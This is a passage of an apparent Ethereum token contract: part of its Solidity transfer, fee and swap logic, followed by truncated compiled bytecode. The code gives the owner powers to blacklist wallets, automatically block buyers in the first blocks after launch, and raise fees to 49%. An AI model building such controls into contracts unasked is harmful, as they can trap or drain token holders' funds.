(!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 0; sellMarketingFee = 60 ; sellDevFee = 40; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 0; sellMarketingFee = 60; sellDevFee = 40; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(1000); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(1000); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; uint256 ethForTeam = ethForMarketing.div(3).mul(1); uint256 ethformarketing = ethForMarketing.div(3).mul(2); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); (success,) = address(teamwallet).call{value: ethForTeam}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: ethformarketing}(""); } function Airdrops(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
0x6080604052600436106103fe5760003560e01c80638095d56411610213578063aacebbe311610123578063d85ba063116100ab578063f0a77e791161007a578063f0a77e7914610bb9578063f11a24d314610bd9578063f2fde38b14610bef578063f637434214610c0f578063f8b45b0514610c2557600080fd5b8063d85ba06314610b32578063dd62ed3e14610b48578063e2f4560514610b8e578063e884f26014610ba457600080fd5b8063c18bc195116100f2578063c18bc19514610aad578063c3c8cd8014610acd578063c876d0b914610ae2578063c8c8ebe414610afc578063d257b34f14610b1257600080fd5b8063aacebbe314610a1e578063b62496f514610a3e578063bbc0c74214610a6e578063c024666814610a8d57600080fd5b80639a7a23d6116101a6578063a265777811610175578063a265777814610987578063a457c2d7146109a7578063a4d15b64146109c7578063a7fc9e21146109e8578063a9059cbb146109fe57600080fd5b80639a7a23d6146109255780639c3b4fdc146109455780639fccce321461095b578063a0d82dc51461097157600080fd5b80638da5cb5b116101e25780638da5cb5b146108bc57806392136913146108da578063924de9b7146108f057806395d89b411461091057600080fd5b80638095d5641461085257806389e7b81b146108725780638a8c523c146108925780638d5cda57146108a757600080fd5b806346d00e1d1161030e5780636a486a8e116102a157806370a082311161027057806370a08231146107d2578063715018a6146107f2578063751039fc146108075780637571336a1461081c5780637bce5a041461083c57600080fd5b80636a486a8e146107675780636baf8df21461077d5780636ddd17131461079d5780636fc3eaec146107bd57600080fd5b80635324c18c116102dd5780635324c18c146106fc578063541a43cf1461071c578063677d090e146107325780636902ca611461075257600080fd5b806346d00e1d1461065557806349bd5a5e146106755780634a62bb65146106a95780634fbee193146106c357600080fd5b80631a8145bb1161039157806323b872dd1161036057806323b872dd146105c35780632bf3d42d146105e35780632d5a5d34146105f9578063313ce56714610619578063395093511461063557600080fd5b80631a8145bb146105575780631f3fed8f1461056d578063203e727e1461058357806322d3e2aa146105a357600080fd5b80631694505e116103cd5780631694505e146104b757806317700f011461050357806318160ddd146105185780631816467f1461053757600080fd5b806306fdde031461040a578063095ea7b31461043557806310cb610d1461046557806310d5de531461048757600080fd5b3661040557005b600080fd5b34801561041657600080fd5b5061041f610c3b565b60405161042c91906133bc565b60405180910390f35b34801561044157600080fd5b50610455610450366004613431565b610ccd565b604051901515815260200161042c565b34801561047157600080fd5b5061048561048036600461345d565b610ce4565b005b34801561049357600080fd5b506104556104a236600461345d565b60236020526000908152604090205460ff1681565b3480156104c357600080fd5b506104eb7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161042c565b34801561050f57600080fd5b50610485610d38565b34801561052457600080fd5b506002545b60405190815260200161042c565b34801561054357600080fd5b5061048561055236600461345d565b610d70565b34801561056357600080fd5b50610529601f5481565b34801561057957600080fd5b50610529601e5481565b34801561058f57600080fd5b5061048561059e36600461347a565b610df7565b3480156105af57600080fd5b506104856105be366004613493565b610eef565b3480156105cf57600080fd5b506104556105de3660046134d6565b610faa565b3480156105ef57600080fd5b50610529601c5481565b34801561060557600080fd5b50610485610614366004613527565b611013565b34801561062557600080fd5b506040516012815260200161042c565b34801561064157600080fd5b50610455610650366004613431565b611068565b34801561066157600080fd5b5061048561067036600461345d565b61109e565b34801561068157600080fd5b506104eb7f00000000000000000000000061b0a3dbfe9c19ba7896c1c22894a697ec34f78181565b3480156106b557600080fd5b50600c546104559060ff1681565b3480156106cf57600080fd5b506104556106de36600461345d565b6001600160a01b031660009081526022602052604090205460ff1690565b34801561070857600080fd5b50610485610717366004613572565b6110e9565b34801561072857600080fd5b50610529601b5481565b34801561073e57600080fd5b5061048561074d366004613683565b61117f565b34801561075e57600080fd5b50610455611251565b34801561077357600080fd5b5061052960175481565b34801561078957600080fd5b5061048561079836600461345d565b611292565b3480156107a957600080fd5b50600c546104559062010000900460ff1681565b3480156107c957600080fd5b50610485611319565b3480156107de57600080fd5b506105296107ed36600461345d565b611490565b3480156107fe57600080fd5b506104856114ab565b34801561081357600080fd5b5061045561151f565b34801561082857600080fd5b50610485610837366004613527565b61155c565b34801561084857600080fd5b5061052960145481565b34801561085e57600080fd5b5061048561086d3660046136ef565b6115b1565b34801561087e57600080fd5b5061048561088d36600461347a565b61165a565b34801561089e57600080fd5b506104856116af565b3480156108b357600080fd5b506104856116f0565b3480156108c857600080fd5b506005546001600160a01b03166104eb565b3480156108e657600080fd5b5061052960185481565b3480156108fc57600080fd5b5061048561090b36600461371b565b61172c565b34801561091c57600080fd5b5061041f611772565b34801561093157600080fd5b50610485610940366004613527565b611781565b34801561095157600080fd5b5061052960165481565b34801561096757600080fd5b5061052960205481565b34801561097d57600080fd5b50610529601a5481565b34801561099357600080fd5b506104856109a236600461371b565b61185d565b3480156109b357600080fd5b506104556109c2366004613431565b6118a5565b3480156109d357600080fd5b50600c54610455906301000000900460ff1681565b3480156109f457600080fd5b50610529601d5481565b348015610a0a57600080fd5b50610455610a19366004613431565b6118f4565b348015610a2a57600080fd5b50610485610a3936600461345d565b611901565b348015610a4a57600080fd5b50610455610a5936600461345d565b60246020526000908152604090205460ff1681565b348015610a7a57600080fd5b50600c5461045590610100900460ff1681565b348015610a9957600080fd5b50610485610aa8366004613527565b611988565b348015610ab957600080fd5b50610485610ac836600461347a565b611a11565b348015610ad957600080fd5b50610485611afe565b348015610aee57600080fd5b506012546104559060ff1681565b348015610b0857600080fd5b5061052960095481565b348015610b1e57600080fd5b50610455610b2d36600461347a565b611b41565b348015610b3e57600080fd5b5061052960135481565b348015610b5457600080fd5b50610529610b63366004613736565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b9a57600080fd5b50610529600a5481565b348015610bb057600080fd5b50610455611cfc565b348015610bc557600080fd5b50610485610bd4366004613572565b611d39565b348015610be557600080fd5b5061052960155481565b348015610bfb57600080fd5b50610485610c0a36600461345d565b611dcb565b348015610c1b57600080fd5b5061052960195481565b348015610c3157600080fd5b50610529600b5481565b606060038054610c4a9061376f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c769061376f565b8015610cc35780601f10610c9857610100808354040283529160200191610cc3565b820191906000526020600020905b815481529060010190602001808311610ca657829003601f168201915b5050505050905090565b6000610cda338484611f1c565b5060015b92915050565b6005546001600160a01b03163314610d175760405162461bcd60e51b8152600401610d0e906137aa565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6005546001600160a01b03163314610d625760405162461bcd60e51b8152600401610d0e906137aa565b600c805462ffff0019169055565b6005546001600160a01b03163314610d9a5760405162461bcd60e51b8152600401610d0e906137aa565b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610e215760405162461bcd60e51b8152600401610d0e906137aa565b612710610e2d60025490565b610e389060016137f5565b610e429190613814565b612710610e4e60025490565b610e5890846137f5565b610e629190613814565b1015610ec95760405162461bcd60e51b815260206004820152603060248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526f6c6f776572207468616e20302e30312560801b6064820152608401610d0e565b612710610ed560025490565b610edf90836137f5565b610ee99190613814565b60095550565b6005546001600160a01b03163314610f195760405162461bcd60e51b8152600401610d0e906137aa565b60188690556019859055601a849055601b839055601c829055601d81905583610f428688613836565b610f4c9190613836565b60178190556101ea1015610fa25760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420343925206f72206c6573730000006044820152606401610d0e565b505050505050565b6000610fb7848484612041565b611009843361100485604051806060016040528060288152602001613b45602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612b91565b611f1c565b5060019392505050565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610d0e906137aa565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610cda9185906110049086611eb6565b6005546001600160a01b031633146110c85760405162461bcd60e51b8152600401610d0e906137aa565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6005546001600160a01b031633146111135760405162461bcd60e51b8152600401610d0e906137aa565b60005b815181101561117b576001601060008484815181106111375761113761384e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061117381613864565b915050611116565b5050565b6005546001600160a01b031633146111a95760405162461bcd60e51b8152600401610d0e906137aa565b6111d26111be6005546001600160a01b031690565b6005546001600160a01b0316600254611f1c565b60005b8381101561124a57611237338686848181106111f3576111f361384e565b9050602002016020810190611208919061345d565b6112146012600a613963565b8686868181106112265761122661384e565b905060200201356105de91906137f5565b508061124281613864565b9150506111d5565b5050505050565b6005546000906001600160a01b0316331461127e5760405162461bcd60e51b8152600401610d0e906137aa565b50600c805460ff1916600190811790915590565b6005546001600160a01b031633146112bc5760405162461bcd60e51b8152600401610d0e906137aa565b6008546040516001600160a01b03918216918316907f8aa0f85050aca99be43beb823e0457e77966b3baf697a289b03681978f96166890600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146113435760405162461bcd60e51b8152600401610d0e906137aa565b601c54601d5447916000916113709161135c9190611eb6565b601c5461136a908590612bcb565b90612c4a565b9050600061138a6001611384846003612c4a565b90612bcb565b9050600061139e6002611384856003612c4a565b905060006113ca6113bc601c54601d54611eb690919063ffffffff16565b601d5461136a908890612bcb565b9050801561140e576007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561140c573d6000803e3d6000fd5b505b8115611450576006546040516001600160a01b039091169083156108fc029084906000818181858888f1935050505015801561144e573d6000803e3d6000fd5b505b821561124a576008546040516001600160a01b039091169084156108fc029085906000818181858888f19350505050158015610fa2573d6000803e3d6000fd5b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146114d55760405162461bcd60e51b8152600401610d0e906137aa565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b0316331461154c5760405162461bcd60e51b8152600401610d0e906137aa565b50600c805460ff19169055600190565b6005546001600160a01b031633146115865760405162461bcd60e51b8152600401610d0e906137aa565b6001600160a01b03919091166000908152602360205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146115db5760405162461bcd60e51b8152600401610d0e906137aa565b601483905560158290556016819055806115f58385613836565b6115ff9190613836565b60138190556101ea10156116555760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420343925206f72206c6573730000006044820152606401610d0e565b505050565b6005546001600160a01b031633146116845760405162461bcd60e51b8152600401610d0e906137aa565b600061168f30611490565b905060006116a48361138484620186a0612c4a565b905061165581612c8c565b6005546001600160a01b031633146116d95760405162461bcd60e51b8152600401610d0e906137aa565b600c805462ffff0019166201010017905543602155565b6005546001600160a01b0316331461171a5760405162461bcd60e51b8152600401610d0e906137aa565b600c805462ffff001916610100179055565b6005546001600160a01b031633146117565760405162461bcd60e51b8152600401610d0e906137aa565b600c8054911515620100000262ff000019909216919091179055565b606060048054610c4a9061376f565b6005546001600160a01b031633146117ab5760405162461bcd60e51b8152600401610d0e906137aa565b7f00000000000000000000000061b0a3dbfe9c19ba7896c1c22894a697ec34f7816001600160a01b0316826001600160a01b031614156118535760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610d0e565b61117b8282612e53565b6005546001600160a01b031633146118875760405162461bcd60e51b8152600401610d0e906137aa565b600c805491151563010000000263ff00000019909216919091179055565b6000610cda338461100485604051806060016040528060258152602001613b6d602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612b91565b6000610cda338484612041565b6005546001600160a01b0316331461192b5760405162461bcd60e51b8152600401610d0e906137aa565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146119b25760405162461bcd60e51b8152600401610d0e906137aa565b6001600160a01b038216600081815260226020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611a3b5760405162461bcd60e51b8152600401610d0e906137aa565b612710611a4760025490565b611a529060016137f5565b611a5c9190613814565b612710611a6860025490565b611a7290846137f5565b611a7c9190613814565b1015611ad85760405162461bcd60e51b815260206004820152602560248201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015264302e30312560d81b6064820152608401610d0e565b612710611ae460025490565b611aee90836137f5565b611af89190613814565b600b5550565b6005546001600160a01b03163314611b285760405162461bcd60e51b8152600401610d0e906137aa565b6000611b3330611490565b9050611b3e81612c8c565b50565b6005546000906001600160a01b03163314611b6e5760405162461bcd60e51b8152600401610d0e906137aa565b62989680611b7b60025490565b611b869060016137f5565b611b909190613814565b620f4240611b9d60025490565b611ba790856137f5565b611bb19190613814565b1015611c255760405162461bcd60e51b815260206004820152603760248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527f20302e30303030312520746f74616c20737570706c792e0000000000000000006064820152608401610d0e565b6064611c3060025490565b611c3b9060056137f5565b611c459190613814565b620f4240611c5260025490565b611c5c90856137f5565b611c669190613814565b1115611ccf5760405162461bcd60e51b815260206004820152603260248201527f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160448201527137101a92903a37ba30b61039bab838363c9760711b6064820152608401610d0e565b620f4240611cdc60025490565b611ce690846137f5565b611cf09190613814565b600a555060015b919050565b6005546000906001600160a01b03163314611d295760405162461bcd60e51b8152600401610d0e906137aa565b506012805460ff19169055600190565b6005546001600160a01b03163314611d635760405162461bcd60e51b8152600401610d0e906137aa565b60005b815181101561117b57600160116000848481518110611d8757611d8761384e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611dc381613864565b915050611d66565b6005546001600160a01b03163314611df55760405162461bcd60e51b8152600401610d0e906137aa565b6001600160a01b038116611e5a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d0e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600080611ec38385613836565b905083811015611f155760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d0e565b9392505050565b6001600160a01b038316611f7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d0e565b6001600160a01b038216611fdf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d0e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166120675760405162461bcd60e51b8152600401610d0e90613972565b6001600160a01b03821661208d5760405162461bcd60e51b8152600401610d0e906139b7565b6001600160a01b0382166000908152600f602052604090205460ff161580156120cf57506001600160a01b0383166000908152600f602052604090205460ff16155b6120eb5760405162461bcd60e51b8152600401610d0e906139fa565b6001600160a01b03831660009081526010602052604090205460ff1615801561212d57506001600160a01b03821660009081526010602052604090205460ff16155b801561214957503360009081526010602052604090205460ff16155b6121655760405162461bcd60e51b8152600401610d0e906139fa565b806121765761165583836000612ea7565b600c5460ff1615612659576005546001600160a01b038481169116148015906121ad57506005546001600160a01b03838116911614155b80156121c157506001600160a01b03821615155b80156121d857506001600160a01b03821661dead14155b80156121ee5750600554600160a01b900460ff16155b1561265957600c54610100900460ff166122cc576001600160a01b03831660009081526022602052604090205460ff168061224157506001600160a01b03821660009081526022602052604090205460ff165b8061226457506001600160a01b03831660009081526011602052604090205460ff165b8061228757506001600160a01b03821660009081526011602052604090205460ff165b6122cc5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610d0e565b60125460ff1615612413576005546001600160a01b0383811691161480159061232757507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561236557507f00000000000000000000000061b0a3dbfe9c19ba7896c1c22894a697ec34f7816001600160a01b0316826001600160a01b031614155b1561241357326000908152600d602052604090205443116124005760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610d0e565b326000908152600d602052604090204390555b6001600160a01b03831660009081526024602052604090205460ff16801561245457506001600160a01b03821660009081526023602052604090205460ff16155b15612528576009548111156124c95760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610d0e565b600b546124d583611490565b6124df9083613836565b11156125235760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610d0e565b612659565b6001600160a01b03821660009081526024602052604090205460ff16801561256957506001600160a01b03831660009081526023602052604090205460ff16155b156125df576009548111156125235760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610d0e565b6001600160a01b03821660009081526023602052604090205460ff1661265957600b5461260b83611490565b6126159083613836565b11156126595760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610d0e565b602154612667906001613836565b43111580156126a857507f00000000000000000000000061b0a3dbfe9c19ba7896c1c22894a697ec34f7816001600160a01b0316826001600160a01b031614155b80156126d157506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d14155b156126fa576001600160a01b0382166000908152600f60205260409020805460ff191660011790555b7f00000000000000000000000061b0a3dbfe9c19ba7896c1c22894a697ec34f7816001600160a01b03908116908416148015816127405750600c546301000000900460ff165b156127ea576001600160a01b0384166000908152600e60205260409020541580159061279257506001600160a01b0384166000908152600e6020526040902054429061278f9062015180613836565b10155b156127cb57601b546019819055601c546018819055601d54601a819055916127b991613836565b6127c39190613836565b601755612861565b60006019819055603c60188190556028601a819055916127b991613836565b6001600160a01b0383166000908152600e6020526040902054612823576001600160a01b0383166000908152600e602052604090204290555b600c546301000000900460ff166128615760006019819055603c60188190556028601a8190559161285391613836565b61285d9190613836565b6017555b600061286c30611490565b600a549091508110801590819061288b5750600c5462010000900460ff165b80156128a15750600554600160a01b900460ff16155b80156128c657506001600160a01b03861660009081526024602052604090205460ff16155b80156128eb57506001600160a01b03861660009081526022602052604090205460ff16155b801561291057506001600160a01b03851660009081526022602052604090205460ff16155b1561293e576005805460ff60a01b1916600160a01b179055612930612fb0565b6005805460ff60a01b191690555b6005546001600160a01b03871660009081526022602052604090205460ff600160a01b90920482161591168061298c57506001600160a01b03861660009081526022602052604090205460ff165b15612995575060005b60008115612b7c576001600160a01b03871660009081526024602052604090205460ff1680156129c757506000601754115b15612a80576129e76103e861136a60175489612bcb90919063ffffffff16565b9050601754601954826129fa91906137f5565b612a049190613814565b601f6000828254612a159190613836565b9091555050601754601a54612a2a90836137f5565b612a349190613814565b60206000828254612a459190613836565b9091555050601754601854612a5a90836137f5565b612a649190613814565b601e6000828254612a759190613836565b90915550612b5e9050565b6001600160a01b03881660009081526024602052604090205460ff168015612aaa57506000601354115b15612b5e57612aca6103e861136a60135489612bcb90919063ffffffff16565b905060135460155482612add91906137f5565b612ae79190613814565b601f6000828254612af89190613836565b9091555050601354601654612b0d90836137f5565b612b179190613814565b60206000828254612b289190613836565b9091555050601354601454612b3d90836137f5565b612b479190613814565b601e6000828254612b589190613836565b90915550505b8015612b6f57612b6f883083612ea7565b612b798187613a4b565b95505b612b87888888612ea7565b5050505050505050565b60008184841115612bb55760405162461bcd60e51b8152600401610d0e91906133bc565b506000612bc28486613a4b565b95945050505050565b600082612bda57506000610cde565b6000612be683856137f5565b905082612bf38583613814565b14611f155760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d0e565b6000611f1583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613264565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612cc157612cc161384e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d3a57600080fd5b505afa158015612d4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d729190613a62565b81600181518110612d8557612d8561384e565b60200260200101906001600160a01b031690816001600160a01b031681525050612dd0307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611f1c565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612e25908590600090869030904290600401613a7f565b600060405180830381600087803b158015612e3f57600080fd5b505af1158015610fa2573d6000803e3d6000fd5b6001600160a01b038216600081815260246020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316612ecd5760405162461bcd60e51b8152600401610d0e90613972565b6001600160a01b038216612ef35760405162461bcd60e51b8152600401610d0e906139b7565b612f3081604051806060016040528060268152602001613b1f602691396001600160a01b0386166000908152602081905260409020549190612b91565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612f5f9082611eb6565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101612034565b6000612fbb30611490565b90506000602054601e54601f54612fd29190613836565b612fdc9190613836565b90506000821580612feb575081155b15612ff557505050565b600a546130039060146137f5565b83111561301b57600a546130189060146137f5565b92505b6000600283601f548661302e91906137f5565b6130389190613814565b6130429190613814565b905060006130508583613292565b90504761305c82612c8c565b60006130684783613292565b905060006130858761136a601e5485612bcb90919063ffffffff16565b905060006130a28861136a60205486612bcb90919063ffffffff16565b90506000816130b18486613a4b565b6130bb9190613a4b565b905060006130cf6001611384866003612c4a565b905060006130e36002611384876003612c4a565b6000601f819055601e81905560208190556007546040519293506001600160a01b031691869181818185875af1925050503d8060008114613140576040519150601f19603f3d011682016040523d82523d6000602084013e613145565b606091505b5050600854604051919b506001600160a01b0316908390600081818185875af1925050503d8060008114613195576040519150601f19603f3d011682016040523d82523d6000602084013e61319a565b606091505b50909a505088158015906131ae5750600083115b15613201576131bd89846132d4565b601f54604080518a81526020810186905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116908290600081818185875af1925050503d806000811461324e576040519150601f19603f3d011682016040523d82523d6000602084013e613253565b606091505b505050505050505050505050505050565b600081836132855760405162461bcd60e51b8152600401610d0e91906133bc565b506000612bc28486613814565b6000611f1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b91565b6132ff307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611f1c565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561338357600080fd5b505af1158015613397573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061124a9190613af0565b600060208083528351808285015260005b818110156133e9578581018301518582016040015282016133cd565b818111156133fb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611b3e57600080fd5b8035611cf781613411565b6000806040838503121561344457600080fd5b823561344f81613411565b946020939093013593505050565b60006020828403121561346f57600080fd5b8135611f1581613411565b60006020828403121561348c57600080fd5b5035919050565b60008060008060008060c087890312156134ac57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806000606084860312156134eb57600080fd5b83356134f681613411565b9250602084013561350681613411565b929592945050506040919091013590565b80358015158114611cf757600080fd5b6000806040838503121561353a57600080fd5b823561354581613411565b915061355360208401613517565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561358557600080fd5b823567ffffffffffffffff8082111561359d57600080fd5b818501915085601f8301126135b157600080fd5b8135818111156135c3576135c361355c565b8060051b604051601f19603f830116810181811085821117156135e8576135e861355c565b60405291825284820192508381018501918883111561360657600080fd5b938501935b8285101561362b5761361c85613426565b8452938501939285019261360b565b98975050505050505050565b60008083601f84011261364957600080fd5b50813567ffffffffffffffff81111561366157600080fd5b6020830191508360208260051b850101111561367c57600080fd5b9250929050565b6000806000806040858703121561369957600080fd5b843567ffffffffffffffff808211156136b157600080fd5b6136bd88838901613637565b909650945060208701359150808211156136d657600080fd5b506136e387828801613637565b95989497509550505050565b60008060006060848603121561370457600080fd5b505081359360208301359350604090920135919050565b60006020828403121561372d57600080fd5b611f1582613517565b6000806040838503121561374957600080fd5b823561375481613411565b9150602083013561376481613411565b809150509250929050565b600181811c9082168061378357607f821691505b602082108114156137a457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b60005